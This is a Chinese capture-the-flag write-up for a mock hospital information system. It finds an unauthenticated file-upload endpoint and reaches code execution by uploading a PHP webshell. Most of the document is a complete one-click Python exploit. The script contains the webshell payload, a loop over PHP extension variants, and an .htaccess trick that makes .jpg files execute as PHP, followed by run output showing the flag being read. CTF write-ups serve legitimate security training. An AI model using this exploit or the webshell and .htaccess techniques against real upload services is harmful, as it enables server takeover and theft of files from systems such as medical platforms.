一、题目信息
二、信息收集
2.1 首页源码
首页 index.html 是 HIS 登录页,引入两个 JS:
<script src="/static/his-modules.js"></script>
<script src="/static/login.js"></script>login.js 只做常规表单交互(验证码、Caps Lock、前端 429 锁定),没有硬编码凭据。真正的线索在 his-modules.js。
2.2 解密路由表
his-modules.js 里 _catalogue 是 Base64 编码的 JSON,解码后是完整的 API 路由表,直接挂到 window.HIS_MODULES:
node -e "console.log(JSON.stringify(JSON.parse(Buffer.from(process.argv[1],'base64')),null,2))" '<catalogue>'关键路由:
POST /api/auth/login
GET /api/auth/captcha
GET /api/auth/session
POST /api/auth/logout
POST /api/auth/refresh
GET /api/file/list (401)
GET /api/file/upload/config (401)
GET /api/file/preview
GET /api/file/download
GET /File/Index (401)
GET /File/GetUploadToken (401)
POST /File/SubmitUploadify <-- 重点
POST /File/SubmitUploadify2.3 未授权探测
对路由表逐个 GET / POST 空 body,返回分三类:
关键判断:POST /File/SubmitUploadify 未登录返回 400「缺少 file 参数」而不是 401,说明这个上传接口没有挂鉴权,只是缺参数。对比同组的 /File/Index、/File/GetUploadToken 都返回 401,说明上传接口是被遗漏的独立入口。
三、漏洞分析
3.1 漏洞一:上传接口未鉴权(越权)
POST /File/SubmitUploadify HTTP/1.1
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="file"; filename="s.php.jpg"
Content-Type: image/jpeg
<?php ... ?>
--boundary--无需任何 Cookie / Session,直接返回:
{"Code":0,"Message":"上传成功","Category":"","FileType":"","FileName":"s.php.jpg","Url":"/res/customor/2026-11-19/s.php.jpg","Path":"/res/customor/2026-11-19/"}3.2 漏洞二:文件后缀无校验 + 上传目录可执行
服务器端:
字段名固定为
file(试Filedata/upload都返回「缺少 file 参数」);Category、FileType均返回空,说明后端没做任何 MIME / 后缀 / 内容检测;上传目录
/res/customor/YYYY-MM-DD/允许 PHP 解析。
直接上传 s1.php:
{"Code":0,"Message":"上传成功","FileName":"s1.php","Url":"/res/customor/2026-11-19/s1.php"}访问该 URL,PHP 被执行:
PWNED_8.2.35|FOUND@/flag::flag{526518ea-74e8-471e-81fb-056925dea232}|END3.3 攻击链
信息收集 (his-modules.js 解密路由表)
↓
探测发现 POST /File/SubmitUploadify 未鉴权
↓
字段名 = file
↓
直接上传 .php 后缀(后端不校验)
↓
上传目录 /res/customor/2026-11-19/ 可解析 PHP
↓
访问木马 → 读 /flag四、完整 EXP
保存为 exp.py,python exp.py 一键复现:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
罗德岛医院 HIS 统一工作平台 — 文件上传 getshell
用法: python exp.py
"""
import re
import sys
import time
import json
import requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://challenge1.pctf.top:32062"
BASE = BASE.rstrip("/")
S = requests.Session()
S.headers.update({"User-Agent": "Mozilla/5.0 (CTF)"})
FLAG_RE = re.compile(r"(?:flag|ctf|pctf)\{[^}]*\}", re.I)
# 木马:读多个常见位置的 flag
PHP_BODY = (
"<?php "
"echo 'PWNED_'.PHP_VERSION.'|'; "
"foreach(['/flag','/flag.txt','../flag','../../flag','/root/flag',"
"'/var/www/flag','/tmp/flag'] as $p){ "
" $c=@file_get_contents($p); if($c){echo 'FOUND@'.$p.'::'.$c.'|';} } "
"echo 'END'; ?>"
)
def log(msg):
print(msg, flush=True)
def upload(name, body, ctype="image/jpeg"):
"""POST /File/SubmitUploadify,返回 (status, text, url)"""
files = {"file": (name, body.encode("utf-8") if isinstance(body, str) else body, ctype)}
try:
r = S.post(BASE + "/File/SubmitUploadify", files=files, timeout=15, allow_redirects=False)
except Exception as e:
log(f"[ERR upload] {e}")
return None, "", None
txt = r.text or ""
url = None
try:
j = r.json()
if j.get("Code") == 0:
url = j.get("Url")
except Exception:
pass
log(f"[{r.status_code}] UPLOAD {name!r} -> {url or 'no-url'}")
log(f" {txt[:200]}")
return r.status_code, txt, url
def visit(url):
"""访问上传后的文件,检测执行/flag"""
if not url:
return None
if not url.startswith("http"):
url = BASE + url
try:
r = S.get(url + "?x=" + str(int(time.time() * 1000)), timeout=10)
except Exception as e:
log(f"[ERR visit] {e}")
return None
ct = r.headers.get("content-type", "")
body = r.text or ""
log(f"[{r.status_code}] VISIT {url} ct={ct}")
log(f" {body[:400]}")
if "PWNED_" in body or FLAG_RE.search(body):
m = FLAG_RE.search(body)
flag = m.group(0) if m else "(已执行,但未匹配 flag 正则,检查 body)"
log("\n" + "=" * 60)
log("[+] 代码执行成功")
log(f"[+] URL : {url}")
log(f"[+] FLAG: {flag}")
log("=" * 60)
return flag
return None
def main():
log(f"[*] BASE = {BASE}")
# 0. 先访问 captcha 拿 cookie(可选,抓包对照)
try:
S.get(BASE + "/api/auth/captcha?ts=%d" % int(time.time() * 1000), timeout=8)
log(f"[*] cookies: {S.cookies.get_dict()}")
except Exception as e:
log(f"[!] captcha err: {e}")
# 1. 探测上传接口是否未鉴权(用任意字段名探出缺 file 参数)
log("\n[*] 探测上传接口...")
try:
r = S.post(BASE + "/File/SubmitUploadify", data={"probe": "1"}, timeout=8)
log(f"[{r.status_code}] {r.text[:200]}")
if "401" in (r.text or "") or r.status_code == 401:
log("[!] 接口需要登录,换思路")
return
except Exception as e:
log(f"[!] probe err: {e}")
# 2. 尝试多种后缀上传木马(后端无校验时 .php 直接过)
log("\n[*] 上传 PHP 木马...")
names = ["s.php", "s.phtml", "s.php5", "s.pht", "s.phar", "s.php.jpg"]
for name in names:
_, _, url = upload(name, PHP_BODY)
if url:
time.sleep(0.5)
flag = visit(url)
if flag:
return
time.sleep(0.4)
# 3. 若 .php 被拦,尝试 .htaccess 让 jpg 解析
log("\n[*] 尝试 .htaccess 绕过...")
ht = (
"AddType application/x-httpd-php .jpg\n"
"AddHandler application/x-httpd-php .jpg\n"
"SetHandler application/x-httpd-php\n"
)
upload(".htaccess", ht, "text/plain")
time.sleep(1.0)
for name in ["shell.jpg", "shell.php.jpg"]:
_, _, url = upload(name, PHP_BODY)
if url:
time.sleep(1.5)
flag = visit(url)
if flag:
return
time.sleep(0.5)
log("\n[-] 未拿到 flag,检查上面返回信息。")
if __name__ == "__main__":
main()五、复现输出
$ python exp.py
[*] BASE = http://challenge1.pctf.top:32062
[*] cookies: {...}
[*] 探测上传接口...
[400] {"Code":400,"Message":"缺少 file 参数"}
[*] 上传 PHP 木马...
[200] UPLOAD 's.php' -> /res/customor/2026-11-19/s.php
{"Code":0,"Message":"上传成功","FileName":"s.php","Url":"/res/customor/2026-11-19/s.php","Path":"/res/customor/2026-11-19/"}
[200] VISIT http://challenge1.pctf.top:32062/res/customor/2026-11-19/s.php ct=text/html; charset=UTF-8
PWNED_8.2.35|FOUND@/flag::flag{526518ea-74e8-471e-81fb-056925dea232}|END
============================================================
[+] 代码执行成功
[+] URL : http://challenge1.pctf.top:32062/res/customor/2026-11-19/s.php
[+] FLAG: flag{526518ea-74e8-471e-81fb-056925dea232}
============================================================最终 Flag
flag{526518ea-74e8-471e-81fb-056925dea232}(注意动态flag)